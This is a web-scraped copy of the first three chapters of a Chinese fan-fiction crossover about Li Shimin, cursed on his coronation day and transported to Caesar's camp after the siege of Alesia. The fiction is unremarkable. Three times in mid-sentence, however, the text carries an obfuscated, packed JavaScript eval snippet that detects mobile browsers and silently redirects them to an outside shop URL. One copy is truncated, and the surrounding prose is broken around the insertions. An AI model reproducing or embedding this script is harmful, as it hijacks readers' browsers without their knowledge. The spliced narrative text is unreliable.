《【凯撒x李世民】卢比孔河的风声》 1. 第一章、李世民登基之日遇刺 特别声明:猎奇CP,雷飞不管,雷死不埋,入内请自带避雷针! CP:凯李/李凯,双强互攻 不符合历史,也不符合历史人物,天坑随时弃。 第一部分:七日传奇 第一章、李世民登基之日遇刺 公元六二六年九月初四,长安,四更,天色未明。 大唐帝国的京大内太极宫笼罩在一片静谧的夜色中,仅有一墙之隔的太子东宫却灯火辉煌、人影如梭。内侍来去匆匆,禁军严阵以待,准备着一场盛大的典礼。 二十七岁的太子李世民,已经沐浴完毕,他赤身踏上台阶走出浴汤,高大挺拔的身形在数支红烛的映衬下发出朦胧的柔光。他穿过一帘纱幔,立即被簇拥上来的近侍披上浴袍。 然后是刷牙、洁面、擦干头发、梳头挽髻,护理皮肤、用珍珠粉敷面,檀色口脂点唇…… 修剪圆润的指甲用凤仙花染成浅红色,骨节分明的手指套上或金或翡的指环,一条细如新月的蛇骨链从身后挂在了他的脖子上。 他跪坐在地毯中央静若处子,完全将自己交给饰容宫女摆弄,眉宇间暗藏着几分忍耐。 胡须是最后处理完的,宫女用特制的小梳子梳出虬髯的造型,再用夹子将须尾夹得微微翘起,宦官接着用毛刷蘸取刨花水顺势涂抹在胡须上,并小心微调,使之定型。 侍从们极其细致地打理他的仪容,务必要使他的外表在今天达到至善至美的最佳状态。 因为今天是太子的登基大典。 精修好个人外表后,时间已经过去了一个时辰,他站起身活动了一下有些僵硬的手足。四名宫女也将繁重的礼服捧到他的面前,今天他将穿着衮冕祭拜天地、宗庙,并昭告天下。 除去浴袍,上身着衫,下身着裈,都是贴身内衣;再穿圆领荷叶边的白纱中单,裤子是开裆的白锦袴;脚上着云袜和加金饰的赤舄。 为了增加领和袖的层次感,中单外再穿一层青色广袖对襟,白裤外再穿一层打底白裙。 基础打底完成,开始着正装。 玄衣象征深邃的苍穹,也就是传说中的“肩挑日月,背负七星”,主体刺绣为日、月、星、山,大袖上绣火、华虫、礼器,衣领和袖缘都绣升龙的图案,合计八章纹。 对襟,大袖,因为极其隆重,所以大袖一直垂到足背,迎风而鼓,其博远哉! 玄衣外面围一片式纁裳,就是浅红色的裙子,象征黄昏的地平线,裙摆满绣米粒、斧子和双弓的纹样,裙边拼接风琴褶,美得行云流水。 主体部分完成,接下来是配饰。 裙子外系宽腰大带,将腰线提高。朱红色的蔽膝就栓在大带上,上绣龙、山、火三纹章,十分华美。腰后系大绶小绶;腰间挂左右组佩,两百多颗玉珠玉横玉璧沉甸甸地坠在大带上,将大带拉得很紧;最后用一条镶金嵌玉的细革带全部扣紧。 大带在内,革带在外,形成双带层叠装饰。 穿好这一切,李世民轻轻转身,腰间便是一串翠玉鸣鸾之声。他已不能再做大的动作,侍从们托起他的礼服协助他跪坐在一个方矮床上,将裙摆铺开似一张巨大的荷叶。 他的心腹宦官张难双手捧来十二旒冕冠,小心翼翼地戴在他的头上,用玉簪导穿发髻而过,垂下的充耳轻敲两鬓,他微微仰头,让张难将细长的天河带捋过他身体,一直垂到膝盖前。 当下降的十二行白珠缓缓遮挡他的视线,他不再能看清眼前的一切,珠光摇动间世界都仿佛变得疏离起来。 欲戴王冠,必承其重,至高无上的权力和沉重无比的责任,同时压在了他的头上,没有任何时候比这一刻更深刻地让他感受到了压力。 现在他不能低头,王冠会掉;他不能折腰,因为组佩会乱,会发出不和谐的声响,那是不祥之兆。他得小心翼翼地做每个动作,就像他要小心翼翼地对待这个国家。 六百多万平方公里土地,二千多万人口,现在,他从实质上和名义上都正式成为他们的皇帝。 五更的鼓声穿过廊檐远远地传来,天边出现了点点鱼肚白。这时张难走近前禀告:“太子左庶子求见。” “让他进来。”李世民的声音洪亮而富有磁性,带着几分天然的高冷,十分有辨识度。 不等张难传旨,长孙无忌已经走进了李世民的寝宫,张难便向左右挥了挥手,带着所有侍从退出门外。 二十九岁的长孙无忌年轻有为,英姿勃发,他一身朝服,面对小榻上端坐的人拱手行礼,动作却又顿住,端详着,啧啧称美:“我没有想到竟这样合适……就好像你天生就应该是这样。” 李世民问道:“好还是坏?” “好,你就像古书上写的垂衣裳而天下治的圣人。这才是大唐的皇帝,这才是我的陛下啊!” 李世民抱怨道:“这一身的重量,抵得上一套轻甲了吧。比起甲来可繁琐得多了,穿一回不容易啊!” 长孙无忌轻轻地笑,见李世民扶着桌案想站起来,忙过去扶手。 李世民叫他取来剑架上的宝剑,那是一把文剑,三耳云头剑首,金色的剑穗长而飘逸,鞘侧装饰繁复,有四段镂紧箍环连一段挂绳,挂在他左腰的革带上恰似一道靓丽的风景。 雄迈秀杰,风神爽悟。 英姿颖发,文武兼备。 长孙无忌一时看得失神,心念攒动道:“你一定会是个太平天子。” “太平?”李世民忽然冷声道:“昨日兵部文书急报,说颉利可汗发兵十万,南下进攻泾州,战火就要烧到长安城下……现在是人心惶惶啊,哪里有你说的太平?” 长孙无忌宽慰道:“颉利也是我们的老对手了……今天是大好的日子,这些麻烦事等登基大典之后再说。” “知道我要登基,他就给我送大礼来了……”他咬牙切齿地想做个动作:“我心里这股火!” 长孙无忌忙扶着他的手宽慰:“陛下别乱动……” ?李世民忍了下去,对长孙无忌道:“我有个感觉:太快了!好像昨天我们还在晋阳城骑马搏双陆,无忧无虑,哪有这么多事要考虑;今天就在这东宫,就要确定君臣的名分。” “是啊,时间过得真快,十年了……”长孙无忌也叹道:“从晋阳出发,到今天,死了多少人,终于我们成功了!我们出生入死不就是为了今天吗?” “打仗我不怕,出生入死我也不怕,但……”他缓缓度步,道:“无忌,我昨晚一夜没睡,睡不着……” “你在忧虑什么,告诉我,我为陛下除掉。” 李世民摇了摇头,娓娓道来:“这么大的土地,这么多的人口,千头万绪太多了……我有些担心。你知道,我们以前不是很喜欢读书,最近几年才觉得自己学问不够,跟着虞世南他们白天黑夜地学……这治理天下啊,和打仗大不相同,很复杂……我这样学问的人,真的能治好国家吗?” 长孙无忌握住他的手说:“陛下有这样的忧虑,你在费心思考这件事,这是大唐的幸事啊!儒家的圣人孟子说过:生于忧患,死于安乐,你在忧患之中,国家怎么会治不好?学问可以慢慢来,这天下的书太多,一辈子也读不完。再说天下那么大,事情那么多,哪是你一个人忙得过来的?” 他轻轻地拍着李世民的手背,柔声细语:“我们都在你身边,你只要把握大的方向,告诉我们你想要怎样,其他的事交给房玄龄,交给杜如晦,交给我们……你想想看,打天下我们都过来了,治天下怎么能难得到我们?” 李世民被说动了,他的神情渐渐放松,声音低缓得像泉水在青石上流淌,唤道:“无忌……” “我在。” “祭天的时辰还没到吗?” “还有一点时间,你要休息一下吗?” 李世民微微点头,走到一张高脚软榻前垂足坐下,长孙无忌蹲在他面前为他整理裙子。 头被皇冠压得不敢大动,他抬一只手撑着侧脸,对长孙无忌说:“你守在这里,时辰到了叫我。我不会睡着,只是闭目缓一会儿。” “嗯。” 无忌的声音总是能令他紧绷的心松弛下来,视线里无数攒动的微小的白珠,像一片气泡在流水中逐渐消逝。 他闭上了眼睛。 他没有睡着,半睡半醒之间,似乎有一阵冷风拂过身体,令他微微瑟缩,接着便听到一声奇怪的冷笑: “呵。” 不是长孙无忌的声音,也不是他身边任何近侍的声音,而是一个陌生的男人声音。 李世民近乎本能地警醒,睁开眼就看到一个全身披着黑袍的高大身影站在他面前,黑色连帽盖住了他的上半张脸,只露出半点鼻尖和一抹薄唇。 刺客?! 李世民非常震惊,光是突破皇宫层层警戒来到他面前这件事,就简直不可想象! ?他的南衙禁军十万人宿守整个皇城,北门屯营五千人值守宫城,贴身卫队百余人就在殿外随时听令。 ?刺客是如何潜入东宫的?周围静得没有一点声音,难道没有一个侍卫发现异样?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224086|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他发现长孙无忌竟不在他身边! 周围的烛光变得朦胧而迷幻,看不清四面的墙壁,仿佛这区区四角之室被一层看不见的屏障与世隔绝了。世界之内,只剩下他和这黑衣刺客相向而对。 一瞬间李世民心里闪过无数种宫廷阴谋的可能,又迅速全部否定。他冷静下来按剑问道:“你是什么人?” 对方咧嘴一笑,声音妖异,语气轻佻:“下野道士袁天罡,恭贺吾皇新登大宝,特来献上诅咒,祝陛下长眠于此,永不复醒。” 李世民大怒,拔剑而起,袁天罡后退数步道:“陛下息怒,臣不敢领教陛下的盖世武功。” “谁派你来的?” “一个已死之人。” “你敢戏弄我?” 见李世民不信,袁天罡笑道:“这个已死之人乃是陛下的亲弟齐王李元吉。” 李世民一惊:“是齐王?” 袁天罡从头道来:“三个月前,齐王召我入府,命我为他占卜。他为人残忍,我怕占卜不祥,他会加害于我,就诈称他的元吉二字合写是一个唐字,齐王当有天下。他信以为真,因而重用我,不惜千金要我以咒术谋害秦王。” 李世民严冷地道:“你既是齐王党羽,就应该知道我已经赦免了你们所有的人,你为什么还要来行刺?” 袁天罡回答:“齐王虽死,但诅咒在他生前已经种下。” “生前种下的诅咒没能救他的命,他死后你却还要继续听从他的命令?” “受人所托,忠人之事。” 李世民不认为有人会对齐王死心塌地,他一向不太看得起齐王:“你若真的忠于齐王,以你神出鬼没的妖术,为什么直到今天才来找我,不觉得太迟了吗?” 袁天罡嘻一声道:“当然不止为齐王,还有在下的一点私心。” “识时务者为俊杰,你若是为了千金之赏官爵之酬,我,汝君也,汝君所有,远过齐王。” 言下有劝他弃暗投明,倒戈以降的意思。 袁天罡叹息道:“天罡薄命之人,富贵于我如浮云。” “你不为忠,也不为利,那你为什么?” “为了和陛下打一个赌。” “什么?”李世民怀疑自己没有听清楚。 袁天罡口吐惊雷:“就赌陛下有生之年还能不能回到长安!” “这也是你的诅咒?”李世民勃然动怒,提起裙子上前一脚将他踢倒在地,不顾衣裳不便,抽出剑锋指在他面前:“你真的不怕死?” 袁天罡跌坐在地,帽檐上移,露出一道曲线如滴水的清俊鼻梁,只一双眼睛始终云山雾罩,难窥真相。 他忽然剧烈地咳嗽起来,扯过黑袍的袖子捂口,袍布上赫然出现一抹腥红。他薄唇带血,自嘲似地道:“将死之人,何足惜身……” 李世民鄙视他的体弱:“今天是我登基的日子,杀人不详……说出你们的阴谋,供出你所有的同谋,这是你最后的机会!” “你给我机会?“袁天罡呵呵冷笑,声音像寒风刮过杉树林:“陛下聪慧,却也傲慢,自恃强大,无所畏惧。你就是天,而我,非要逆天!” 他伸一只苍白的手握住剑锋,毫不在意皮肉之痛,缓缓站起,一边说道:“诅咒早已种下,赌局也已摆开,纵使你权势滔天,也难脱这张诅咒的网,这是你血缘至亲送给你的加冕贺礼。” “飞蛾眼中的罗网,雄鹰却毫不在意。”李世民忽然抽剑,鲜血从袁天罡掌中飙出,下一刻冰冷的剑锋贴上袁天罡的脖颈,剑尖挑起他的下巴。 李世民对这个神秘的年轻人产生了几分好奇,看着他神龙见首不见尾的面容,命令道:“揭开你的帽子!” 袁天罡无声地笑了,他知道他的目的快要达到了,吸引皇帝的注意,挑动皇帝的情绪,都是为了这展示的一刻! “遵命。” 他恭敬地低头,举手从额头插入,轻轻上推,黑色的连帽向后滑落,终于现他的庐山真面目。 但见他额中一点朱砂十分吸睛,秀眉长眼,但眼神朦胧,将睁未睁恰似昙花绽放。随着他缓缓抬头,双目渐渐张开,一抹紫色流泻而出。 李世民措不及防,正对上一双妖异的紫瞳! 瞬间他像是被什么击中了,脑海中无数的白光像落地的琉璃炸裂开来。他站立不稳,向前倒下,被袁天罡正面抱住。 袁天罡揽着他的后背,薄唇带着邪笑贴近他耳边: “我的皇帝陛下,旅程开始了!” ?? 2. 第二章、阿莱西亚的俘虏。 第二章、阿莱西亚的俘虏。 李世民梦见自己在漩涡中挣扎,那漩涡似水似云,又似风,摸上去一无所有,却又裹挟着他向下飞驰。 几缕白光穿过他的身体,一些光怪陆离的画面似河流淌过他的脑海。 他竟然看见了李元吉! 他和那个神秘的年轻道士袁天罡一起,跪坐在一个巨大图案的法阵前,滴血起誓,向天发愿。那图案复杂交错又邪异悖逆,令人生出不安的焦虑。 李元吉状似狂热,甚至兴奋得手足发抖,他的声音也忽高忽低,像动荡的秋千。 “一万里够不够远?不够就二万里。二万里应该快到天涯海角了吧?” “五百年够不够长?不够就一千年!把他弄的远远的,我要他再也回不来!” “就流放到最遥远、最野蛮的地方,周围全是蛮夷,不不,蛮夷高抬了,应该是野人!” “找一个最战乱的时代,把他送过去……堂堂秦王,沦为野人的阶下囚,想想都令本王觉得爽快!” 他畅想着美梦,好像那就快要变成现实:“你说他要是在那个地方待久了,和野人生了孩子,那不也是玷污李家血脉吗?不行不行,野人的女人也不能让他碰……” “我有个好主意,给他找个男人,年轻的不行,要老的,年纪能当他父亲的……长相不重要,老到能当他爹才重要!” 连他身边的袁天罡嘴角都抽搐了一下,说:“你当真要许这样的咒愿?他为什么不咒他病故,这不是对你更有利?” “你不了解我这个二哥,让他受辱比杀了他还难受,如果他被老男人侮辱了,他还有什么颜面苟活于世?他自己就能把自己气死,我何必要亲自动手?” 回想秦王睥睨他的眼神,像藐视蝼蚁,他愤恨地道:“他不是看不起我吗?我就是要他受尽耻辱,生不如死!看他还怎么在我面前耀武扬威!” 袁天罡冷冷道:“大王,诅咒是需要代价的。” “代价?”李元吉思考着,踱着步慢慢计算:“你说我有天命,我若真能得到天下,我自己就能捏死他,你,我就用不上了。” 但他很快又悲观起来:“我若是失败……必然性命家世不保,那就用我全家的血、我的命,我若死了,宁愿魂魄永不转世,也不让秦王好过!” 李世民即使在梦里听到,也愤怒地想要杀人。但他全身无力,白光穿出他的身体,哪些画面和声音也随之消失了。 另一道白光靠近,他听到了袁天罡妖异的声音:“天要兴唐,我便要灭唐,我偏要逆天而行,上天又能把我怎么样呢?” 他掩面咳嗽,似赌气般说:“我把天子摄走,再帮助突厥可汗南下,就是想要看看,没了天命所归之人,大唐会变成什么样!” 更多的白光靠近,他看到了他的妻子长孙氏、长孙无忌、房玄龄、杜如晦、高士廉等等,所有人都在焦急地寻找他的身影。 祭天大典即将开始,新皇却离奇失踪在寝宫之内! 太子妃长孙氏下令封锁消息,派宦官传令文武百官,就说太史局占卜更改吉时,祭天与朝贺都改到黄昏之后。 但东宫如此大的动静,早已引起了前朝后宫无数眼睛的注意,议论在皇宫内外蔓延,连太极宫那边的太监都过来打探消息。 在突厥大军压境,长安人心浮动,势力错综复杂的局面下,李世民的突然失踪给本就不稳的局势带来了巨大的危机。 李世民意识到事态的严重,他必须尽快回到他的皇帝位上,去稳定他新生的政权。 可他身不由己,那洪流的力量如此强大,一路带他坠入未知的深渊。白光越聚越多,终于吞并了他所有意识。 当李世民再次睁开眼睛的时候,他已经到了一间陌生的石室,地下是夯土,墙角是杂草,四面漏风,光线晦暗。 他仍然穿着繁琐的冕服,靠在一面石壁下,头上沉重的冕冠压得他脖子发酸。 他扶着墙站起来,脑海中的白光好似还没有散尽,让他感到一阵晕眩。 “这是什么地方?”他渐渐看清眼前的处境,十几张生锈的镂空铁椅凌乱地摆放,中间一口堆满冷灰的铁炉,就像农民义军的临时会议室,简陋到极致。 李世民不知道袁天罡把他劫持了什么地方,但他本能地察觉到危险,遥远、战乱、野蛮、劫持和侮辱……想起他和李元吉密谋加害他的那些话,每一个字都令他怒不可遏! 他的手按在了腰间的宝剑上,指节因用力而发白。不知出于何种目的和心理,袁天罡将这柄宝剑插回了他的腰间。 他走近石窗向外望去,眼前是百米落差的高大悬崖,石墙几乎从悬崖边缘拔地而起,构建了一座坚固的军事堡垒。崖下是一片辽阔的秋色,密林延伸到远方宽阔的河流与平原。 就在这辽阔的秋色中,山下肃杀的一幕闯入了他的视野。 平原、缓坡、直到森林边缘,被一片连绵不绝的土木工事覆盖。无数彩色的旗帜从工事建筑中伸出来,迎风招展,像一条长龙盘住了这方石筑的高地。 是军队! 丰富的战场经验让李世民立刻想到了围城!但不知是哪里的军队,围住的这座城又是什么?自己似乎也成了这围城中的一人,这也是袁天罡安排好的吗? 马匹和人影在工事中频繁进出,甚至隐约传来铜管号角的声音。那不是散乱的营盘,而是一个庞大、精密、充满压迫感的包围体系。 紧贴着高地下方,是一道清晰的壕沟与土垒,土垒上立起木栅。更远处,另一道几乎平行的工事轮廓在阳光下延伸。两道防线之间,分布着数以百计规整的方形营区。 显眼的红色鹰旗密集地插在营地中两条主路的交叉点附近,那里有一个由多个大帐篷组成的复合体,也就是东方人所谓的“中军大帐”! 李世民远观这只未知的军队,只觉装束陌生,不是中原的战甲,也不是突厥的铁骑。而且他们似乎并没有大战当前的紧绷,调动显得十分自由。直到他看到他们散乱的队列中出现了妇女儿童的身影…… 李世民瞬间明白,这不是大战在即,而是战争已经结束,到了胜利的一方洗劫城市,抢夺战利品的时候了。 危险正在临近,但他还来不及离开,忽然“嘭”的一声,议事厅的大门被撞开,闯进来四个全副武装的罗马士兵。 只见他们的五官迥异于中原人,深目高鼻,头发卷曲,与西域胡人有相似之处。 他们统一戴着相同的铜盔,穿着无袖的锁子甲,长度仅覆盖身体和大腿,露出强健的四肢肌肉。腰间则插着不足两尺长的罗马短剑,手上握着远超身高的标枪,其中一个还拿着一面巨大的长方形弧面盾,鲜艳的对称绘图像四面展开的鹰翼。 深秋的寒意已经开始在奥赛河缤纷的落叶中弥漫,他们的脚上仍然穿着露趾绑带的铁钉凉鞋,行走间铁钉敲击石板的声音,是无数被征服民族心中死神的催命符。 迎面撞上时,双方都感到一惊。 李世民的手警惕地按在剑上,姿态威严,用汉语向他们说:“我是大唐皇帝,我要见你们的最高统帅。” 对方中的一个人喊了一声什么,其他人跟着回应,用的是李世民从来没有听过的语言。 李世民又用突厥语重复了一遍相同的意思。但罗马士兵面面相觑,全无反应,继续用拉丁语说话。 情况简直糟透了,语言不通,无法交流。 一个罗马士兵指着他大喊一声,他听不懂意思,但听出了敌意。很快他们就围了上来,主动向他发起攻击。 李世民被迫进行一场莫名其妙,且与自己毫不相关的生死战斗。他艰难地杀死了这四个罗马士兵,也由此正式卷入罗马共和国晚期动荡而残酷的政治军事局势。 他的冕冠在战斗一开始就在转移中坠落,落地声响亮而破碎,无数白珠像炸开的水滴四下飞溅。他的裙子在搏斗中被扯烂,袖子上喷洒了大量血迹,发髻散落下来如一簇水草,使他整个人看起来十分狼狈,筋疲力尽。 此地不宜久留,他一边伸手到腰后,想脱了这身累赘,一边跨过死尸,走向大门,却在推开大门之后,面对着更加凶险的局面。 森然的方阵,如林的标枪,无数双冰冷的目光聚焦在他身上。远处山道上,更多罗马士兵正闻声涌来,沉重的脚步声像逐渐收紧的铁桶,踏碎所有秋光。 离开已无可能。无论他思想还处在怎样的震荡和不适中,先一步摆在眼前的是生存与死亡的扣问。 李世民松开按剑的手,染血的指尖微微发颤。他缓缓闭上眼,深吸一口带着血腥的空气,再睁开时,眼中所有的不甘与暴怒已被一片深潭般的沉静取代。他松开手,任由他最后的武器“哐当”坠地。 公元前52年10月1日,新继位的大唐皇帝李世民,成为了罗马人的俘虏。? 时间拨回前一日的夜里,在阿莱西亚要塞即将彻底崩溃的前夜。高卢联军统帅维钦托利在这间破败的议事厅里,说服了那些主张死战的首领,决定将自己作为“祭品”和“战利品”交出去,希望以此平息罗马人的怒火,为被困的守军和居民争取一线生机,换取凯撒对其部属的宽恕,避免屠城。 他走出这件议事厅,就像走向他悲剧的命运。仅仅过了一夜,当李世民走出这间议事厅时,也像是重复了他囚困命运的道路。 罗马人不会放过李世民一身的名贵礼器,他们中的很多人一辈子也没有见过这样富有的贵族。先是争抢他身上的首饰,戒指手链玉佩等等,还有一个士兵用短剑撬他冕冠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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?他最显眼的是腰间皮带上挂着一串沉甸甸的铜钥匙,随着他的每一次迈步,钥匙发出铛铛的金属碰撞声,象征着他对军团金库、粮仓和战利品仓库的掌控。 ?他打量现场情况,当然也看到有士兵在偷偷摸摸藏东西。 ?“谁来向我解释,百夫长?” ?百夫长将手中藏不住也不敢藏——因为太贵重,的宝剑交给他,说道:“抓到一个可疑的俘虏,正在审问。” ?“审问是怎么审到你们的腰包里去的?”他看向那几个藏东西的士兵,伸出手,掌心向上,声音不容置疑:“拿来。” 士兵们愣了一下,脸上写满不情愿。在军团里,从战利品中先为自己捞点油水是心照不宣的惯例。 有人辩解道:“凯撒已经批准我们所有人,有整整一天的时间从城里取走我们应得的一切!” ?“哦,是吗?今天早上凯撒的演讲词还是我写的,要我再念一遍给你们听吗?竖起你们那是摆设的耳朵!”,卡勒努斯开始复述凯撒今晨宣告的部分内容: ?“现在,我,盖乌斯·尤利乌斯·凯撒,以罗马元老院与人民授予我的最高统帅权宣布:自此刻起,至明日此时,这座城及其中的一切,法律与秩序将暂时交由你们的剑来裁决。你们有权取用城中财物,以犒赏你们所流的血汗。 但是,记住两点: 第一,时间只有一天一夜。当明日号角响起,军纪与秩序必须回归。 第二,所有被俘的高卢贵族及其直系亲眷,必须毫发无伤地带来。他们的命运,由罗马与我来决定。” “可他不是高卢贵族啊!高卢人没有这样的。”士兵中仍有人不死心。? ?“拿来!”卡勒努斯加重了语气,那双精明眼睛眯了起来,扫过他们的脸,“需要我提醒你们军规,还是想让我核对一下你们昨日‘上报’的缴获清单?” ?威胁赤裸而有效。士兵们悻悻然上前,将抢到的珠宝一样样放在他手中。 ?卡勒努斯掂了掂温润剔透的玉器,又看了看指环上绝非高卢或罗马风格的纹样,指尖轻轻摸过沾污血迹也难掩光华的锦缎。他的目光惊奇而疑惑,看向李世民的时候充满了探究。 ?李世民以高冷回应,并不正眼看他。这反而更加深了他对他来历不凡的猜想。 卡勒努斯转过身,面向所有士兵,提高嗓音,确保每个人都能听到:“记住你们的身份,也记住凯撒的承诺!他保证每一位英勇作战的罗马士兵,都能获得应得的战利品!” ?他停顿了一下,目光锐利地扫视全场,“但是——所有高卢的酋长、贵族,任何有价值的重要俘虏和他们的随身物品,都必须献给凯撒!由凯撒,也只有凯撒,来决定如何处置!私藏、抢夺、或损坏这些战利品,就是在盗窃凯撒的财产!你们谁想试试军事法庭的鞭子,或者被剥夺分享战利品的资格?” 士兵们在他严厉的视线和更严厉的话语下低下了头。 ?他再次审视李世民,意味深长地补充:“这个人……可能比一整个高卢部落的酋长加起来,更值得献给凯撒。” 3. 第三章、征服者的兴趣 第三章、征服者的兴趣 ??阿莱西亚战役是凯撒征服高卢的决定性胜利,标志着高卢大规模有组织抵抗的终结。 战役的结束,并未让凯撒有丝毫喘息,他进入了比战时更为精密的忙碌,旨在将高卢彻底纳入罗马控制之下。 白日,他穿梭于硝烟未散的阵地,监督着庞大战利品的清点与封存,亲自接见那些匍匐在地的高卢各部的贵族,恩威并施,重塑秩序。 夜晚,他的帅帐灯火长明,羊皮纸与莎草纸堆叠如山。他口述给元老院的捷报,字句激昂,旨在将这场传奇胜利铸成罗马人心中不朽的史诗。 他审批着无数军功与赏赐清单,确保忠诚的军团与将领获得足以维系狂热忠心的回报;他审阅从山南高卢、伊利里库姆乃至罗马本城雪片般飞来的密信,权衡着元老院内外愈发露骨的敌意与盟友间脆弱的纽带。 他清醒地知道,军事胜利必须立刻转化为政治资本:用高卢的黄金与荣耀巩固军团忠诚,用辉煌战功震慑元老院中的政敌,为他必然到来的政治决战积蓄每一分力量。每一刻的运转,都在为他重返罗马的权力之路增添砝码。 时年四十八岁的凯撒,正处在政治家经验、精力与野心达到巅峰的黄金年龄。但对军事家来说,他的身体素质已过巅峰——虽然智慧、经验与权威构成了另一种综合的强大,连续数月高强度的心力绞磨,在他身上刻下了清晰的痕迹。 ?当卡勒努斯终于找到机会,将几件来自东方的珍奇献给他观赏的时候,凯撒刚结束一天的巡视与会议回到军帐。他斜倚在铺着厚实毛毯的行军床上,指节用力按压着发胀的太阳穴,试图驱散那份几乎要渗入骨髓的疲惫。 ?案头,那叠标题为《高卢战记》的草稿静静躺着,这是他新构思的政治宣传计划——历史的笔。他要亲手铸造自己的历史丰碑。 ?“恕我打扰,有些东西希望你百忙之中抽空看一下。” ?凯撒抬起眼,倦色未褪,但眸中那永不熄灭的探究之火已悄然复燃。卡勒努斯是他信赖的副手,并非故弄玄虚之人。 ?他的指尖捻过一片丝绸,目光透了织物本身的华美。来自公元七世纪唐朝高超的丝绸纺织与刺绣技艺,是远超凯撒认知极限的精密,毫不意外引起了他的赞叹。 丝绸在他眼中,不仅仅是财富、地位的象征,也是文明的政治情报。 ?突破性的织造,需要精密的提花织机与一套成熟的纹样设计、编程和织造体系。 ?登峰造极的刺绣,意味着拥有高度成熟的审美体系、社会等级符号和专属皇室的顶尖匠作机构。 ?丝线本身的染色技术也令人震惊,这意味着对方掌握了复杂的媒染剂使用和套染技术。 ?“这不是高卢人能做出的东西,这毫无疑问是来自赛里斯的奇迹。”作为丝绸爱好者的凯撒几乎一眼就识破了锦缎的真正来历。 ?“塞里斯”是罗马人对丝绸来源地的统称,是一个基于最著名贸易商品(丝绸)所产生的、带有神秘色彩的地域与文化概念。 ?在凯撒时代,罗马人对东方的地理认知主要基于希腊化时代的遗产和商旅传闻。由于路途遥远、中间商刻意垄断和夸大,罗马人对“塞里斯人”的想象充满传说色彩。? ?卡勒努斯抱着手臂从旁道:“这种比黄金还贵重的丝绸,你知道他穿了多少吗?像埃及的祭品,像莲花包裹花蕊……”他瘫了摊手,“就好像不要钱一样,大量使用毫不吝惜。他一件衣服的布料拆下来,够给两个罗马士兵各做一套丘尼卡。他对丝绸的奢侈,恐怕比罗马首富克拉苏还有过之而无不及。” ?凯撒没有评论,但他的眼神已经说明一切:这绝非寻常贵族,甚至超越了王公的范畴。 然而真正让他从床榻上完全坐直身体的,是那把剑。比起对丝绸的赞叹,凯撒明显对武器的制造技术更加关注。 ?他没有立刻拔剑,而是先用手指抚过剑鞘。鞘身是名贵的木材,但通体包裹着某种坚韧的皮革,四段金银钿妆的箍环在烛光下流淌着沉稳的光泽。仅仅是剑鞘本身,就已是一件融合了材质、工艺与极致美学的艺术品。 “锵——”一声清越的龙吟在帐内响起,凯撒拔出了剑身。 帐内仿佛瞬间明亮了几分。不同于罗马短剑,也不同于高卢长剑,它更长,更直,线条优雅中蕴含着一种蓄势待发的力量。最引人注目的是剑身上那若隐若现、宛如流水般的锻造纹路——这绝非普通的锻打所能形成。 凯撒用指节轻轻一弹剑身,一声悠长的颤鸣响起,清越持久,显示出极佳的弹性与均匀的质地。 “完美。”凯撒缓缓开口,声音低沉而充满确信,“它的平衡完美,结构是为了高效的劈砍和刺击而设计。这种技术,我从未见过。高卢人、日耳曼人、甚至我们最好的罗马工匠,都做不出这样的东西。” 他归剑入鞘,动作流畅。剑首与剑鞘口严丝合缝地扣合,发出轻微的“咔哒”声,显示出精湛的加工精度。 ?倦意早如潮水般退去,取而代之的是一种面对挑战时特有的专注。凯撒的声音带着浓厚的兴趣:“剑的主人什么样?多大年纪?” ?卡勒努斯陷入短暂思索:“留着奇怪的胡子,不好猜测年纪,应该不超过三十岁。” ?“你判断他是什么样的人?” ?“行事冲动、大胆,气质……很奇怪,还有些傲慢。” ?“依据呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224088|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?“他杀人时果断得像呼吸,他杀了我们四个人但情绪毫无变化。对战场非常适应,听说他是自己放弃了抵抗,我认为他是判断突围无望,选择了保存实力…很果断。但他受到侮辱时会有激烈的反抗行为,甚至不顾生死,又显得不够冷静。” ?凯撒笑了一声,这些描述莫名地很对他胃口:“除了这些丝绸和宝剑,还有什么特别之处?” “他的出现方式,没有一个高卢人承认认识他或者见过他,高卢人甚至比我们还疑惑这个人到底是谁!” ?这引起了凯撒的好奇:“这四个月我们将阿莱西亚围得铁桶一般,他是怎么进入阿莱西亚要塞的?” ?“没有人知道,他像是刚从某个隆重的仪式上走下来,然后就……掉进了我们的战场。” ?“云端的坠落吗?” ?凭空出现?神秘的东方贵族?价值连城的服饰和宝剑?这一切都指向一个超越常规战利品的谜题。 ?凯撒站起身,眼中锐光闪烁:“这不合常理,但往往不合常理的事情背后,藏着更大的价值或威胁。他可能是一个流亡者,一次失败的政变中侥幸逃生的王子?或者……是东方某个强大王国派来的使者,因为某种我们不知道的原因误入此地?” 无论哪种可能,这个俘虏本身,就是一个巨大的情报宝藏,一个可能打开新世界大门——无论是贸易、技术还是政治联盟——的钥匙。 ?“能沟通吗?”凯撒问。 ?“完全不能,我们已有的翻译员,没人能听懂他的语言。不过军中有从埃及来的士兵提到,在亚历山大港见过类似相貌的东方商人,托勒密宫廷中也雇佣过远东来的侍女。” ?“以我的名义,致信埃及法老托勒密十二世。要他提供至少三名精通东方语言的翻译,以最快速度送到这里。” 